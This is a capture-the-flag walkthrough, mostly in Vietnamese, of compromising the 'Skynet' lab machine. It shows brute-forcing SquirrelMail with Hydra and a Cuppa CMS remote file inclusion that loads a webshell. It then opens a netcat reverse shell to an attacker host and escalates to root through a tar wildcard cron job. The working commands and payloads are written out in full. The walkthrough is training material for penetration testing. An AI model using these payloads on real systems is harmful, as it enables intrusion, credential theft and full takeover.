Skynet
A vulnerable Terminator themed Linux machine.
Initial Reconnaissance
Service Scanning
$ sudo nmap -A -v 10.201.127.138
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
| 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: UIDL SASL AUTH-RESP-CODE RESP-CODES TOP CAPA PIPELINING
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: SASL-IR more IMAP4rev1 LOGINDISABLEDA0001 ENABLE IDLE have capabilities post-login listed Pre-login OK LOGIN-REFERRALS LITERAL+ ID
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.4
OS details: Linux 4.4
Uptime guess: 0.001 days (since Mon Aug 4 20:48:40 2025)
Network Distance: 5 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernelKết quả Nmap scan cho thấy có nhiều dịch vụ đang chạy trên target system. Phiên bản của SSH cho thấy hệ điều hành nền là Ubuntu. Trên port 80, web server chạy Apache 2.4.18 với tiêu đề trang là Skynet. Bên cạnh đó còn có các dịch vụ mail gồm POP3 trên port 110 và IMAP trên port 143. Samba service cũng xuất hiện trên port 139 và 445.
SSH 22

Dịch vụ SSH bật chế độ password authentication, vì vậy chúng ta nên tìm kiếm password ở plain-text.
HTTP 80
Trang chính của website trông giống như trang tìm kiếm của Google:

Directory Enumeration
Chúng ta sử dụng gobuster để quét những thư mục và file ẩn trên web server:
$ gobuster dir -u http://10.201.127.138 -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt -b 404,403
/admin (Status: 301) [Size: 316] [--> http://10.201.127.138/admin/]
/config (Status: 301) [Size: 317] [--> http://10.201.127.138/config/]
/css (Status: 301) [Size: 314] [--> http://10.201.127.138/css/]
/index.html (Status: 200) [Size: 523]
/js (Status: 301) [Size: 313] [--> http://10.201.127.138/js/]
/squirrelmail (Status: 301) [Size: 323] [--> http://10.201.127.138/squirrelmail/]Gần như các thư mục chúng ta phát hiện với gobuster đều không cho quyền truy cập, trừ /squirrelmail.
/admin

/config

/ai

/squirrelmail
SquirrelMail là một web-based email client mã nguồn mở được viết bằng PHP, cho phép người dùng truy cập tài khoản email thông qua trình duyệt web. Nó hỗ trợ các giao thức IMAP và SMTP, có hệ thống plugin để mở rộng tính năng và cung cấp những chức năng cơ bản như danh bạ, quản lý thư mục, xử lý email đính kèm và các định dạng MIME.

Chúng ta có thể thử tìm default credentials trên Google, nhưng kết quả cho thấy SquirrelMail không có bất kỳ default credentials nào.

SMB 445
Chúng ta sử dụng Nmap script để enumerate shares và users:
$ sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse -v 10.201.127.138
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-users:
| SKYNET\milesdyson (RID: 1000)
| Full name:
| Description:
|_ Flags: Normal user account
| smb-enum-shares:
| account_used: guest
| \\10.201.127.138\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (skynet server (Samba, Ubuntu))
| Users: 2
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.201.127.138\anonymous:
| Type: STYPE_DISKTREE
| Comment: Skynet Anonymous Share
| Users: 0
| Max Users: <unlimited>
| Path: C:\srv\samba
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.201.127.138\milesdyson:
| Type: STYPE_DISKTREE
| Comment: Miles Dyson Personal Share
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\milesdyson\share
| Anonymous access: <none>
| Current user access: <none>
| \\10.201.127.138\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>Có hai share không phải mặc định là anonymous và milesdyson. Chúng ta không có quyền truy cập vào share milesdyson, nhưng share anonymous thì cho phép truy cập ẩn danh với cả quyền đọc và ghi.
$ smbclient //10.201.127.138/anonymous
Password for [WORKGROUP\hungnt]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Nov 26 23:04:00 2020
.. D 0 Tue Sep 17 14:20:17 2019
attention.txt N 163 Wed Sep 18 10:04:59 2019
logs D 0 Wed Sep 18 11:42:16 2019
9204224 blocks of size 1024. 5828840 blocks available
smb: \>Chúng ta có thể dùng smbget để tải toàn bộ share này về một cách đệ quy.
$ smbget --recursive -a smb://10.201.127.138/anonymous
Using guest user
Using guest user
smb://10.201.127.138/anonymous/attention.txt
Using guest user
Using guest user
smb://10.201.127.138/anonymous/logs/log2.txt
Using guest user
smb://10.201.127.138/anonymous/logs/log1.txt
Using guest user
smb://10.201.127.138/anonymous/logs/log3.txt
Downloaded 634b in 12 seconds$ cat attention.txt
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
- Miles-Dyson
$ cd logs
$ cat log1.txt log2.txt log3.txt
cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
terminator16
terminator143
terminator13
terminator123!@#
terminator1056
terminator101
terminator10
terminator02
terminator00
roboterminator
pongterminator
manasturcaluterminator
exterminator95
exterminator200
dterminator
djxterminator
dexterminator
determinator
cyborg007haloterminator
avsterminator
alonsoterminator
Walterminator
79terminator6
1996terminator
$ cat log1.txt log2.txt log3.txt > ../pass.txtTrong đó có 3 log file trông giống như một password dictionary. Chúng ta nên gộp chúng lại thành một file duy nhất để dùng cho dictionary attack.
SquirrelMail Authentication as milesdyson
Tiếp theo, ta dùng Burp Suite để lấy request đăng nhập rồi tạo lệnh Hydra nhằm thực hiện dictionary attack lên một số username mà ta thấy có thể liên quan ở đây.

Đầu tiên là user miles:
hydra -l miles -P pass.txt 10.201.127.138 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Incorrect" -V
Nhưng không tìm thấy credentials hợp lệ. Vậy ta thử với milesdyson.
hydra -l milesdyson -P pass.txt 10.201.127.138 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Incorrect" -V
login: milesdyson password: cyborg007haloterminatorKết quả là chúng ta đã xác định thành công password của milesdyson, và có thể đăng nhập vào SquirrelMail:

SMB Password Discovery
Chúng ta kiểm tra email từ địa chỉ skynet@skynet với tiêu đề “Samba Password reset” và phát hiện một password, nhiều khả năng là của user miles trên SMB server.

Password: )s{A&2Z=F^n_E.B`Sau đó, chúng ta thử truy cập share milesdyson bằng password này.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ smbclient -U milesdyson //10.201.127.138/milesdyson
Password for [WORKGROUP\milesdyson]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Sep 17 16:05:47 2019
.. D 0 Wed Sep 18 10:51:03 2019
Improving Deep Neural Networks.pdf N 5743095 Tue Sep 17 16:05:14 2019
Natural Language Processing-Building Sequence Models.pdf N 12927230 Tue Sep 17 16:05:14 2019
Convolutional Neural Networks-CNN.pdf N 19655446 Tue Sep 17 16:05:14 2019
notes D 0 Tue Sep 17 16:18:40 2019
Neural Networks and Deep Learning.pdf N 4304586 Tue Sep 17 16:05:14 2019
Structuring your Machine Learning Project.pdf N 3531427 Tue Sep 17 16:05:14 2019
9204224 blocks of size 1024. 5812740 blocks available
smb: \> cd notes
smb: \notes\> ls
. D 0 Tue Sep 17 16:18:40 2019
.. D 0 Tue Sep 17 16:05:47 2019
3.01 Search.md N 65601 Tue Sep 17 16:01:29 2019
4.01 Agent-Based Models.md N 5683 Tue Sep 17 16:01:29 2019
2.08 In Practice.md N 7949 Tue Sep 17 16:01:29 2019
0.00 Cover.md N 3114 Tue Sep 17 16:01:29 2019
1.02 Linear Algebra.md N 70314 Tue Sep 17 16:01:29 2019
important.txt N 117 Tue Sep 17 16:18:39 2019
6.01 pandas.md N 9221 Tue Sep 17 16:01:29 2019
3.00 Artificial Intelligence.md N 33 Tue Sep 17 16:01:29 2019
2.01 Overview.md N 1165 Tue Sep 17 16:01:29 2019
3.02 Planning.md N 71657 Tue Sep 17 16:01:29 2019
1.04 Probability.md N 62712 Tue Sep 17 16:01:29 2019
2.06 Natural Language Processing.md N 82633 Tue Sep 17 16:01:29 2019
2.00 Machine Learning.md N 26 Tue Sep 17 16:01:29 2019
1.03 Calculus.md N 40779 Tue Sep 17 16:01:29 2019
3.03 Reinforcement Learning.md N 25119 Tue Sep 17 16:01:29 2019
1.08 Probabilistic Graphical Models.md N 81655 Tue Sep 17 16:01:29 2019
1.06 Bayesian Statistics.md N 39554 Tue Sep 17 16:01:29 2019
6.00 Appendices.md N 20 Tue Sep 17 16:01:29 2019
1.01 Functions.md N 7627 Tue Sep 17 16:01:29 2019
2.03 Neural Nets.md N 144726 Tue Sep 17 16:01:29 2019
2.04 Model Selection.md N 33383 Tue Sep 17 16:01:29 2019
2.02 Supervised Learning.md N 94287 Tue Sep 17 16:01:29 2019
4.00 Simulation.md N 20 Tue Sep 17 16:01:29 2019
3.05 In Practice.md N 1123 Tue Sep 17 16:01:29 2019
1.07 Graphs.md N 5110 Tue Sep 17 16:01:29 2019
2.07 Unsupervised Learning.md N 21579 Tue Sep 17 16:01:29 2019
2.05 Bayesian Learning.md N 39443 Tue Sep 17 16:01:29 2019
5.03 Anonymization.md N 2516 Tue Sep 17 16:01:29 2019
5.01 Process.md N 5788 Tue Sep 17 16:01:29 2019
1.09 Optimization.md N 25823 Tue Sep 17 16:01:29 2019
1.05 Statistics.md N 64291 Tue Sep 17 16:01:29 2019
5.02 Visualization.md N 940 Tue Sep 17 16:01:29 2019
5.00 In Practice.md N 21 Tue Sep 17 16:01:29 2019
4.02 Nonlinear Dynamics.md N 44601 Tue Sep 17 16:01:29 2019
1.10 Algorithms.md N 28790 Tue Sep 17 16:01:29 2019
3.04 Filtering.md N 13360 Tue Sep 17 16:01:29 2019
1.00 Foundations.md N 22 Tue Sep 17 16:01:29 2019
9204224 blocks of size 1024. 5812432 blocks available
smb: \notes\> get important.txtTrong share, có một file đáng chú ý tên là important.txt, bên trong chứa đường dẫn tới một beta CMS.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat important.txt
1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wifeHidden Directory
Khi truy cập vào đường dẫn này thì chúng ta không thấy gì hữu ích cả.

Directory Enumeration
Chúng ta nên tiến hành directory scan bằng gobuster1 để tìm thư mục và file ẩn:
$ gobuster dir -u http://10.201.127.138/45kra24zxs28v3yd -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt -b 404,403
/administrator (Status: 301) [Size: 341] [--> http://10.201.127.138/45kra24zxs28v3yd/administrator/]
/index.html (Status: 200) [Size: 418]/administrator
Kết quả scan cho thấy có thư mục /administrator, đây là trang login của Cuppa CMS.

Remote File Inclusion
Chúng ta nên kiểm tra xem có vulnerability hoặc exploit công khai nào tồn tại cho Cuppa CMS hay không với searchsploit:

Kết quả cho thấy Cuppa CMS tồn tại lỗ hổng Local File Inclusion và Remote File Inclusion. Vì vậy, chúng ta sẽ thử dựng một Python HTTP server đơn giản để serve một PHP webshell và sau đó lợi dụng Remote File Inclusion để thực thi lệnh bất kỳ trên target:

Tiếp theo, chúng ta truy cập vào đường dẫn URL tương ứng để thực thi lệnh.
http://10.201.127.138/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.17.21.52/simple-backdoor.php&cmd=id
Tại đây, chúng ta đã thực thi thành công lệnh id thông qua lỗ hổng RFI.
Shell as www-data
Giờ thì ta sẽ thiết lập một reverse shell connection.
10.201.127.138/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.17.21.52/simple-backdoor.php&cmd=rm %2Ftmp%2Ff%3Bmkfifo %2Ftmp%2Ff%3Bcat %2Ftmp%2Ff|%2Fbin%2Fbash -i 2>%261|nc 10.17.21.52 4242 >%2Ftmp%2Ff
user.txt
File user.txt được đặt trong home folder của user milesdyson:
www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$ cd /home
cd /home
www-data@skynet:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep 17 2019 .
drwxr-xr-x 23 root root 4096 Sep 18 2019 ..
drwxr-xr-x 5 milesdyson milesdyson 4096 Sep 17 2019 milesdyson
www-data@skynet:/home$ cd milesdyson
cd milesdyson
www-data@skynet:/home/milesdyson$ ls -la
ls -la
total 36
drwxr-xr-x 5 milesdyson milesdyson 4096 Sep 17 2019 .
drwxr-xr-x 3 root root 4096 Sep 17 2019 ..
lrwxrwxrwx 1 root root 9 Sep 17 2019 .bash_history -> /dev/null
-rw-r--r-- 1 milesdyson milesdyson 220 Sep 17 2019 .bash_logout
-rw-r--r-- 1 milesdyson milesdyson 3771 Sep 17 2019 .bashrc
-rw-r--r-- 1 milesdyson milesdyson 655 Sep 17 2019 .profile
drwxr-xr-x 2 root root 4096 Sep 17 2019 backups
drwx------ 3 milesdyson milesdyson 4096 Aug 4 09:52 mail
drwxr-xr-x 3 milesdyson milesdyson 4096 Sep 17 2019 share
-rw-r--r-- 1 milesdyson milesdyson 33 Sep 17 2019 user.txt
www-data@skynet:/home/milesdyson$ cat user.txt
cat user.txt
7ce5c2109a40f958099283600a9ae807Shell as milesdyson
Bây giờ chúng ta nên thử chuyển sang user milesdyson bằng password đã tìm thấy trước đó, vì đôi khi người dùng lười thay đổi và sử dụng cùng một password ở nhiều nơi.
www-data@skynet:/home$ su milesdyson
su milesdyson
Password: cyborg007haloterminator
milesdyson@skynet:/home$ id
id
uid=1001(milesdyson) gid=1001(milesdyson) groups=1001(milesdyson)Và đúng như vậy, milesdyson đã reuse password của mình trên hệ điều hành.
Sudo Permissions
Tiếp theo, chúng ta kiểm tra quyền sudo của milesdyson.
milesdyson@skynet:/$ sudo -l
sudo -l
[sudo] password for milesdyson: cyborg007haloterminator
Sorry, user milesdyson may not run sudo on skynet.Tuy nhiên, user này không có quyền chạy sudo trên target.
Cronjob Discovery
Khi nhìn lại trong thư mục home của user, chúng ta thấy có một thư mục tên là backup, bên trong chứa file backup.sh.
milesdyson@skynet:~$ ls -la
ls -la
total 36
drwxr-xr-x 5 milesdyson milesdyson 4096 Sep 17 2019 .
drwxr-xr-x 3 root root 4096 Sep 17 2019 ..
drwxr-xr-x 2 root root 4096 Sep 17 2019 backups
lrwxrwxrwx 1 root root 9 Sep 17 2019 .bash_history -> /dev/null
-rw-r--r-- 1 milesdyson milesdyson 220 Sep 17 2019 .bash_logout
-rw-r--r-- 1 milesdyson milesdyson 3771 Sep 17 2019 .bashrc
drwx------ 3 milesdyson milesdyson 4096 Aug 4 09:52 mail
-rw-r--r-- 1 milesdyson milesdyson 655 Sep 17 2019 .profile
drwxr-xr-x 3 milesdyson milesdyson 4096 Sep 17 2019 share
-rw-r--r-- 1 milesdyson milesdyson 33 Sep 17 2019 user.txt
milesdyson@skynet:~$ cd backups
cd backups
milesdyson@skynet:~/backups$ ls -la
ls -la
total 4584
drwxr-xr-x 2 root root 4096 Sep 17 2019 .
drwxr-xr-x 5 milesdyson milesdyson 4096 Sep 17 2019 ..
-rwxr-xr-x 1 root root 74 Sep 17 2019 backup.sh
-rw-r--r-- 1 root root 4679680 Aug 4 10:11 backup.tgzThông thường, các tác vụ backup sẽ được thực hiện định kỳ, nghĩa là có thể chạy thủ công hoặc tự động sau mỗi khoảng thời gian nhất định. Trên hệ thống Linux, điều này thường liên quan đến crontab. Và đúng như dự đoán, file backup.sh được cấu hình để chạy như một cronjob, thực thi mỗi phút.
milesdyson@skynet:~/backups$ cat backup.sh
cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
milesdyson@skynet:~/backups$ cat /etc/crontab
cat /etc/crontab
## /etc/crontab: system-wide crontab
## Unlike any other crontab you don't have to run the `crontab'
## command to install the new version when you edit this file
## and files in /etc/cron.d. These files also have username fields,
## that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
## m h dom mon dow user command
*/1 * * * * root /home/milesdyson/backups/backup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )Chúng ta có thể nghĩ đến việc hijack binary tar để thực thi lệnh tùy ý. Tuy nhiên, trong file /etc/crontab, biến PATH được chỉ định là PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin, và chúng ta không có quyền ghi vào bất kỳ thư mục nào trong số này, nên không thể hijack trực tiếp binary tar.
Thay vào đó, chúng ta có thể lợi dụng wildcard trong quá trình tar được gọi, như cách khai thác đã được mô tả.
Vì cần quyền ghi vào /var/www/html, nên chúng ta quay lại user www-data.
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
printf '#!/bin/bash\ncp /bin/bash /tmp/test && chmod u+s /tmp/test\n' > shell.sh && chmod +x shell.shShell as root
Sau đó, chỉ cần chờ khoảng một phút để backup.sh được thực thi, và chúng ta leo quyền thành công lên root.
www-data@skynet:/tmp$ ls -la
ls -la
total 1052
drwxrwxrwt 9 root root 4096 Aug 4 19:38 .
drwxr-xr-x 23 root root 4096 Sep 18 2019 ..
drwxrwxrwt 2 root root 4096 Aug 4 19:08 .ICE-unix
drwxrwxrwt 2 root root 4096 Aug 4 19:08 .Test-unix
drwxrwxrwt 2 root root 4096 Aug 4 19:08 .X11-unix
drwxrwxrwt 2 root root 4096 Aug 4 19:08 .XIM-unix
drwxrwxrwt 2 root root 4096 Aug 4 19:08 .font-unix
prw-r--r-- 1 www-data www-data 0 Aug 4 19:38 f
drwx------ 3 root root 4096 Aug 4 19:08 systemd-private-457317e153fa401688f711d71df832a9-dovecot.service-tV9gCK
drwx------ 3 root root 4096 Aug 4 19:08 systemd-private-457317e153fa401688f711d71df832a9-systemd-timesyncd.service-SdA3li
-rwsr-xr-x 1 root root 1037528 Aug 4 19:37 test
www-data@skynet:/tmp$ ./test -p
./test -p
test-4.3# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)root.txt
test-4.3# ls -la /root
ls -la /root
total 28
drwx------ 4 root root 4096 Sep 17 2019 .
drwxr-xr-x 23 root root 4096 Sep 18 2019 ..
lrwxrwxrwx 1 root root 9 Sep 17 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Sep 17 2019 .cache
drwxr-xr-x 2 root root 4096 Sep 17 2019 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 33 Sep 17 2019 root.txt
test-4.3# cat /root/root.txt
cat /root/root.txt
3f0372db24753accc7179a282cd6a949